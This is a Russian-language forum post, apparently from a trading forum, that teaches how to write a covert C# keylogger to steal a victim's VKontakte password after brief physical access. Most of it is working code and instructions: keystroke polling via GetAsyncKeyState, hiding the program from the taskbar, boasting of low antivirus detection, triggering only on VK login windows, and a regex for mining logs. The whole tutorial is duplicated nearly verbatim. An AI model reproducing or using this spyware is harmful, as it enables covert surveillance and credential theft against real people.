- Регистрация
- 23 Янв 2019
- Сообщения
- 1,351
- Баллы
- 0
- Общие продажи
- 0$
- Общие покупки
- 0$
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Ставим задачу.
Мудрить не будем и ограничимся необходимым минимумом. Предположим, мы хотим заполучить пароль жертвы от ВК и мы можем ненадолго получить физический доступ к компьютеру. При этом:
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.
Теория
Когда ты нажимаешь на кнопку, операционка посылает уведомления тем программам, которые хотят об этом узнать. Поэтому самый простой способ перехватить ввод с клавиатуры — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будем записывать в файл.
Пишем код
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь юзера мы договорились не беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляй автоматически созданный файл Form1.cs со всеми потрохами и открывай Program.cs.
Заглушка Main
Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.
Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если ты не хочешь писать костыльный вариант, лучше пропусти этот раздел и сразу переходи к следующему.
Импортируем GetAsyncKeyState из user32.dll:
Код:
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:
Код:
while (true)
{ Thread.Sleep(100); for (int i = 0; i < 255; i++) { int state = GetAsyncKeyState(i); if (state != 0) { buf += ((Keys)i).ToString(); if (buf.Length > 10) { File.AppendAllText("keylogger.log", buf); buf = ""; } } }
}
Расшифровывать такой лог будет неудобно.
Выглядит не очень красиво, а про читабельность вообще можно забыть. Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давай не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:
Код:
// Еще более усовершенствованная проверка //
bool shift = false;
short shiftState = (short)GetAsyncKeyState(16);
// Keys.ShiftKey не работает, поэтому я подставил его числовой эквивалент
if ((shiftState & 0x8000) == 0x8000)
{
shift = true;
}
var caps = Console.CapsLock;
bool isBig = shift | caps;
После такого редактирования лог стал намного чище
Теперь у нас есть переменная, которая показывает, нужно ли нам оставить букву большой. Проверяем ее и складываем символы в буфер.
Следующая проблема — это сообщения вида <Oemcomma>, <ShiftKey>, <Capital> и другие подобные. Они значительно усложняют чтение лога, так что придется это исправлять. Например, <Oemcomma> — это обычная человеческая запятая, а <Capital> — не что иное, как Caps Lock. Немного потестировав логгер на своем компьютере, я собрал достаточно материала, чтобы привести лог в порядок. Например, некоторые символы можно сразу заменить.
Код:
// Проверка на пробел и Enter //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
А вот вещи вроде побороть сложнее. У шифта, кстати, есть два разных варианта — правый и левый. Убираем все это, ведь состояние заглавных букв мы уже получили.
Код:
if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }
Погоняв логгер некоторое время, обнаруживаем и другие кнопки, которые нужно обрабатывать по-особому:
[LIST]
[*]Num Lock;
[*]функциональные клавиши;
[*]Print Screen;
[*]Page Up и Page Down;
[*]Scroll Lock;
[*]сочетание Shift + цифровая клавиша;
[*]Tab;
[*]Home и End;
[*]Пуск;
[*]Alt;
[*]клавиши со стрелками.
[/LIST]
Добавляем еще проверки и замены, и лог приобретает читабельный вид. В целом уже неплохо! Из недостатков: нет поддержки русской раскладки, что, впрочем, не так важно, если наша цель — получить пароли.
Смотрим, что скажет антивирус…
[IMG]http://www.detkityumen.ru/media/sp/f722e0f1-de41-4880-9d83-dd00bf89aa9e.jpeg
Реакция антивируса при принудительном сканировании
Загружаем образец на VirusTotal, чтобы проверить на остальных. Результат: только 8 из 70 антивирусов что-то подозревают.
В общем, главное — не нарваться на «Авиру» или NOD32.
Проверка заголовка окна
Если наша предполагаемая жертва сразу после входа в систему пошла логиниться в ВК, то, считайте, вам повезло. Но что, если вместо этого она села играть в контру? Пароль придется вытаскивать из тонн символов W, A, S, D и пробелов, а с «костыльным» вариантом это еще сложнее. Поэтому давайте прокачаем наш логгер: будем записывать сигналы клавиатуры только тогда, когда активно окно браузера с формой входа. Для этого вернемся к WinAPI, а конкретно к функции GetForegroundWindow.
Импорт WinAPI
В импорте видна еще одна функция, которая нам понадобится: GetWindowText. Она нужна, чтобы по хендлу окна получить его заголовок. Алгоритм действий тут тоже предельно понятен: сначала получаем заголовок активного окна, затем проверяем, нужно ли включать логгер, и включаем его (или выключаем).
Реализация этой схемы:
Создадим функцию IsForegroundWindowsInteresting. Ее код будет таким:
Код:
bool IsForegroundWindowInteresting(String s)
{
IntPtr _hwnd = GetForegroundWindow();
StringBuilder sb = new StringBuilder(256);
GetWindowText(_hwnd, sb, sb.Capacity);
if (sb.ToString().ToUpperInvariant().Contains(s.ToUpperInvariant())) return true;
return false;
}
В самом начале нашей функции CallbackFunction вставляем
}Код:
if (IsForegroundWindowInteresting("Welcome! | VK") ||
IsForegroundWindowInteresting("Добро пожаловать | ВКонтакте"))
{
return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);}
}
Как вы заметили, я проверяю два варианта, так как не знаю, какой язык использует жертва. Если мы не нашли интересного окна, то просто переходим к следующему обработчику и не нагружаем компьютер лишними дисковыми операциями.
Поиск по логу
Теперь давайте предположим, что лог все равно вырос до угрожающих размеров и нам нужно вытащить из него, например, номер телефона, чтобы знать, с какого места искать пароль. Для этого лучше всего подойдут регулярные выражения, в C# они предоставлены классом Regex.
По понятным причинам логи мы будем анализировать на своей машине, так что сделаем отдельную программу. Чтобы использовать регулярки, добавим using System.Text.RegularExpressions и сделаем метод, который принимает на вход путь к файлу лога, а на консоль выводит все найденные телефонные номера.
Код:
public void FindTelephoneNmbers(String path)
{
String _file = System.IO.File.ReadAllText(path);
String _regex = @"((\+38|8|\+3|\+ )[ ]?)?([(]?\d{3}[)]?[\- ]?)?(\d[ -]?){6,14}";
Regex _regexobj = new Regex(_regex);
MatchCollection matches = _regexobj.Matches(_file);
if (matches.Count > 0)
{
foreach (Match match in matches)
{
Console.WriteLine($"Match found: \"{match.Value}\"");
}
}
else
{
Console.WriteLine("No matches found.");
}
}
Пароль будет идти следом за номером телефона.
Если пароль сохранен в браузере, то тут наш кейлоггер бессилен.
Заключение темы:
Итак, создать кейлоггер — не проблема. Более того, наш самописный клавиатурный шпион со всеми его ограничениями имеет важное преимущество: антивирусам заранее неизвестно о его существовании, а по функциям его определяют далеко не все из них. Конечно, дальше можно многое дорабатывать. Например, добавить возможность доступа через интернет, научить кейлоггер работать с разными клавиатурными раскладками, добавить снятие скриншотов и другие фишки. Зато все теперь знают, насколько просто создать кейлоггер самостоятельно.
Мудрить не будем и ограничимся необходимым минимумом. Предположим, мы хотим заполучить пароль жертвы от ВК и мы можем ненадолго получить физический доступ к компьютеру. При этом:
- мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
- мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
- мы сможем забирать логи, находясь в той же локальной сети;
- антивирус должен молчать;
- файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
- мы не будем пытаться скрывать процесс и только дадим ему неприметное название.
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.
Теория
Когда ты нажимаешь на кнопку, операционка посылает уведомления тем программам, которые хотят об этом узнать. Поэтому самый простой способ перехватить ввод с клавиатуры — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будем записывать в файл.
Пишем код
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь юзера мы договорились не беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляй автоматически созданный файл Form1.cs со всеми потрохами и открывай Program.cs.
Заглушка Main
Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.
Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если ты не хочешь писать костыльный вариант, лучше пропусти этот раздел и сразу переходи к следующему.
Импортируем GetAsyncKeyState из user32.dll:
Код:
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:
Код:
while (true)
{ Thread.Sleep(100); for (int i = 0; i < 255; i++) { int state = GetAsyncKeyState(i); if (state != 0) { buf += ((Keys)i).ToString(); if (buf.Length > 10) { File.AppendAllText("keylogger.log", buf); buf = ""; } } }
}
Расшифровывать такой лог будет неудобно.
Выглядит не очень красиво, а про читабельность вообще можно забыть. Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давай не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:
Код:
// Еще более усовершенствованная проверка //
bool shift = false;
short shiftState = (short)GetAsyncKeyState(16);
// Keys.ShiftKey не работает, поэтому я подставил его числовой эквивалент
if ((shiftState & 0x8000) == 0x8000)
{
shift = true;
}
var caps = Console.CapsLock;
bool isBig = shift | caps;
После такого редактирования лог стал намного чище
Теперь у нас есть переменная, которая показывает, нужно ли нам оставить букву большой. Проверяем ее и складываем символы в буфер.
Следующая проблема — это сообщения вида <Oemcomma>, <ShiftKey>, <Capital> и другие подобные. Они значительно усложняют чтение лога, так что придется это исправлять. Например, <Oemcomma> — это обычная человеческая запятая, а <Capital> — не что иное, как Caps Lock. Немного потестировав логгер на своем компьютере, я собрал достаточно материала, чтобы привести лог в порядок. Например, некоторые символы можно сразу заменить.
Код:
// Проверка на пробел и Enter //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
А вот вещи вроде побороть сложнее. У шифта, кстати, есть два разных варианта — правый и левый. Убираем все это, ведь состояние заглавных букв мы уже получили.
Код:
if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }
Погоняв логгер некоторое время, обнаруживаем и другие кнопки, которые нужно обрабатывать по-особому:
[LIST]
[*]Num Lock;
[*]функциональные клавиши;
[*]Print Screen;
[*]Page Up и Page Down;
[*]Scroll Lock;
[*]сочетание Shift + цифровая клавиша;
[*]Tab;
[*]Home и End;
[*]Пуск;
[*]Alt;
[*]клавиши со стрелками.
[/LIST]
Добавляем еще проверки и замены, и лог приобретает читабельный вид. В целом уже неплохо! Из недостатков: нет поддержки русской раскладки, что, впрочем, не так важно, если наша цель — получить пароли.
Смотрим, что скажет антивирус…
[IMG]http://www.detkityumen.ru/media/sp/f722e0f1-de41-4880-9d83-dd00bf89aa9e.jpeg
Реакция антивируса при принудительном сканировании
Загружаем образец на VirusTotal, чтобы проверить на остальных. Результат: только 8 из 70 антивирусов что-то подозревают.
В общем, главное — не нарваться на «Авиру» или NOD32.
Проверка заголовка окна
Если наша предполагаемая жертва сразу после входа в систему пошла логиниться в ВК, то, считайте, вам повезло. Но что, если вместо этого она села играть в контру? Пароль придется вытаскивать из тонн символов W, A, S, D и пробелов, а с «костыльным» вариантом это еще сложнее. Поэтому давайте прокачаем наш логгер: будем записывать сигналы клавиатуры только тогда, когда активно окно браузера с формой входа. Для этого вернемся к WinAPI, а конкретно к функции GetForegroundWindow.
Импорт WinAPI
В импорте видна еще одна функция, которая нам понадобится: GetWindowText. Она нужна, чтобы по хендлу окна получить его заголовок. Алгоритм действий тут тоже предельно понятен: сначала получаем заголовок активного окна, затем проверяем, нужно ли включать логгер, и включаем его (или выключаем).
Реализация этой схемы:
Создадим функцию IsForegroundWindowsInteresting. Ее код будет таким:
Код:
bool IsForegroundWindowInteresting(String s)
{
IntPtr _hwnd = GetForegroundWindow();
StringBuilder sb = new StringBuilder(256);
GetWindowText(_hwnd, sb, sb.Capacity);
if (sb.ToString().ToUpperInvariant().Contains(s.ToUpperInvariant())) return true;
return false;
}
В самом начале нашей функции CallbackFunction вставляем
}Код:
if (IsForegroundWindowInteresting("Welcome! | VK") ||
IsForegroundWindowInteresting("Добро пожаловать | ВКонтакте"))
{
return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);}
}
Как вы заметили, я проверяю два варианта, так как не знаю, какой язык использует жертва. Если мы не нашли интересного окна, то просто переходим к следующему обработчику и не нагружаем компьютер лишними дисковыми операциями.
Поиск по логу
Теперь давайте предположим, что лог все равно вырос до угрожающих размеров и нам нужно вытащить из него, например, номер телефона, чтобы знать, с какого места искать пароль. Для этого лучше всего подойдут регулярные выражения, в C# они предоставлены классом Regex.
По понятным причинам логи мы будем анализировать на своей машине, так что сделаем отдельную программу. Чтобы использовать регулярки, добавим using System.Text.RegularExpressions и сделаем метод, который принимает на вход путь к файлу лога, а на консоль выводит все найденные телефонные номера.
Код:
public void FindTelephoneNmbers(String path)
{
String _file = System.IO.File.ReadAllText(path);
String _regex = @"((\+38|8|\+3|\+ )[ ]?)?([(]?\d{3}[)]?[\- ]?)?(\d[ -]?){6,14}";
Regex _regexobj = new Regex(_regex);
MatchCollection matches = _regexobj.Matches(_file);
if (matches.Count > 0)
{
foreach (Match match in matches)
{
Console.WriteLine($"Match found: \"{match.Value}\"");
}
}
else
{
Console.WriteLine("No matches found.");
}
}
Пароль будет идти следом за номером телефона.
Если пароль сохранен в браузере, то тут наш кейлоггер бессилен.
Заключение темы:
Итак, создать кейлоггер — не проблема. Более того, наш самописный клавиатурный шпион со всеми его ограничениями имеет важное преимущество: антивирусам заранее неизвестно о его существовании, а по функциям его определяют далеко не все из них. Конечно, дальше можно многое дорабатывать. Например, добавить возможность доступа через интернет, научить кейлоггер работать с разными клавиатурными раскладками, добавить снятие скриншотов и другие фишки. Зато все теперь знают, насколько просто создать кейлоггер самостоятельно.